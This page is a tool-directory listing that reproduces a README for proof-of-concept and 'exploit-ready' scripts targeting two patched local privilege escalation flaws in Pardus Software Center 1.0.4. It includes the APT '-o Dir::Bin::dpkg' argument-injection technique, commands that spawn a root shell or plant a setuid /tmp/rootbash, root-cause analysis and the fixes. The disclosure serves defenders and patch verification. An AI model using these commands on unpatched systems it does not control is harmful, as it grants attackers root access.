Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/dasokkk/cve-2026-14459-14460-pardus-software
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingLearning & EducationBinary Exploitation
GitHubdasokkk/cve-2026-14459-14460-pardus-software

CVE-2026-14459-14460-pardus-software

Pardus Software Local Privilege Escalation PoC - affected from <= 1.0.4

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
12 months agoNot yet reviewed

Pardus Software Center — Local Privilege Escalation (CVE-2026-14459 & CVE-2026-14460)

Proof-of-concept and exploit-ready code for two local privilege escalation issues in the pardus-software package (Pardus Software Center) version 1.0.4, both fixed in 1.0.5.

CVEClassSummaryCVSS 3.1 (CERT-TR)
CVE-2026-14459CWE-88 — Argument InjectionA pardus-software group member (no sudo, no password) injects APT options (-o Dir::Bin::dpkg=…) into the privileged helper and runs arbitrary code as root.8.8 HIGH
CVE-2026-14460CWE-862 — Missing AuthorizationThe autoaptupdateaction PolicyKit action ships allow_any=yes, letting any local user run the update helper as root, unauthenticated (local DoS).8.8 HIGH

Affected: pardus-software 1.0.4 · Fixed: pardus-software 1.0.5 Vendor: Pardus / TÜBİTAK BİLGEM · Coordinated disclosure via the vendor and USOM (CERT-TR).


Legal / scope

This code is published for defensive research, education, and verification of a patched, publicly disclosed vulnerability. Both issues are fixed in pardus-software 1.0.5.

Run it only on isolated, disposable virtual machines that you own or are explicitly authorized to test. Do not run it against systems you do not control. You are responsible for complying with all applicable laws. The author accepts no liability for misuse.


Repository layout

root@kitploit:~
pardus-software-lpe/
├── README.md
├── poc/
│   └── poc.sh                 # original benign PoC (proof-only; both CVEs)
└── exploit/
    ├── exploit-14459.sh       # CVE-2026-14459 → interactive root shell
    └── exploit-14460.sh       # CVE-2026-14460 → unauth root apt-update (DoS)

Which script proves which CVE?

A single poc.sh covers both findings via subcommands:

The poc/ version is benign: it only records id output to /tmp/pardus_lpe_proof and drops a setuid-root /tmp/rootbash as proof. The exploit/ versions are the weaponized, "drop me a root shell" equivalents for demonstration on authorized targets.

poc.sh SHA256: 1d3f4c19affdb377ac5eee4c695619e9f6a4590350c3936678eb1db2cf601255


Setup (test victim)

The benign PoC includes a helper to create an unprivileged victim account in the pardus-software group (no sudo), on a disposable Pardus 25 VM:

root@kitploit:~
sudo ./poc/poc.sh setup-victim
sudo cp poc/poc.sh /home/victim/ && sudo chown victim /home/victim/poc.sh

Running the benign PoC (proof-only)

root@kitploit:~
# CVE-2026-14459 — option injection (primary)
sudo su - victim -c 'cd ~ && ./poc.sh B'
#   if 'hello' is already installed/unavailable:  ./poc.sh B sl

# CVE-2026-14459 — local unsigned .deb (secondary)
sudo su - victim -c 'cd ~ && ./poc.sh A'

# CVE-2026-14460 — unauthenticated root apt update (any user, no special group)
sudo useradd -m -s /bin/bash nobody2
sudo cp poc/poc.sh /home/nobody2/ && sudo chown nobody2 /home/nobody2/poc.sh
sudo su - nobody2 -c 'cd ~ && ./poc.sh autoupdate'

Expected: no password prompt; output shows uid=0(root), /tmp/pardus_lpe_proof owned by root, and /tmp/rootbash as -rwsr-xr-x root root (setuid root). For B, APT also prints its own tell that the injected script ran in dpkg's place:

root@kitploit:~
Warning: APT had planned for dpkg to do more than it reported back (0 vs 5).
   Affected packages: hello:amd64

Running the exploit-ready versions

Run these as the target unprivileged user (for 14459, a member of pardus-software).

root@kitploit:~
# CVE-2026-14459 → interactive root shell
./exploit/exploit-14459.sh
#   run a single command as root instead of a shell:
./exploit/exploit-14459.sh -c "id > /root/pwned"
#   if 'hello' is installed/unavailable, pick an uninstalled package:
PKG=sl ./exploit/exploit-14459.sh

# CVE-2026-14460 → unauthenticated root apt-update (local DoS)
./exploit/exploit-14460.sh
#   demonstrate the DoS surface with repeated invocations:
./exploit/exploit-14460.sh -n 20

On a patched host (>= 1.0.5) both scripts fail cleanly and say so.


Root cause (brief)

CVE-2026-14459. Actions.py's install() splits its packages argument on spaces and appends the tokens straight onto the apt argument vector — no name validation, no -- option terminator. Any token that looks like an APT option is honored, including -o Dir::Bin::dpkg=<path>, which swaps the package-manager backend for an attacker script that then runs as root. The same pattern existed in remove/upgrade/reinstall/downgrade.

CVE-2026-14460. The autoaptupdateaction PolicyKit action was declared with allow_any=yes, authorizing any subject with no authentication. Any local user could invoke AutoAptUpdate.py as root — a local DoS surface.

Full technical write-ups (EN + TR): ([https://medium.com/@dasokkk/missing-authorization-in-pardus-software-center-any-local-user-can-run-apt-update-as-root-de4756d4c1a1] (https://medium.com/@dasokkk/local-privilege-escalation-in-pardus-software-center-via-apt-option-injection-cve-2026-14459-569ad65a2250))


Remediation

Fixed in pardus-software 1.0.5:

  • a6ff277 — package-name validation (parse_packages() regex + -- separator) for the apt actions (CVE-2026-14459).
  • 70210af — allow_any: yes → auth_admin for autoaptupdateaction (CVE-2026-14460).
  • 1.0.4 → 1.0.5 comparison

If you run Pardus, upgrade to pardus-software 1.0.5 or later.


References

  • NVD: CVE-2026-14459 · CVE-2026-14460
  • USOM (CERT-TR) advisory: https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-26-0497
  • Vendor fixes: a6ff277 · 70210af

for authorized testing only

Research and coordinated disclosure by Kerem Kaan Daşmaz.

Download Tool
SubcommandProvesNotes
poc.sh BCVE-2026-14459APT option injection (-o Dir::Bin::dpkg) — the primary finding
poc.sh ACVE-2026-14459Local unsigned .deb via the same trust path (secondary demonstration)
poc.sh autoupdateCVE-2026-14460Unauthenticated root apt update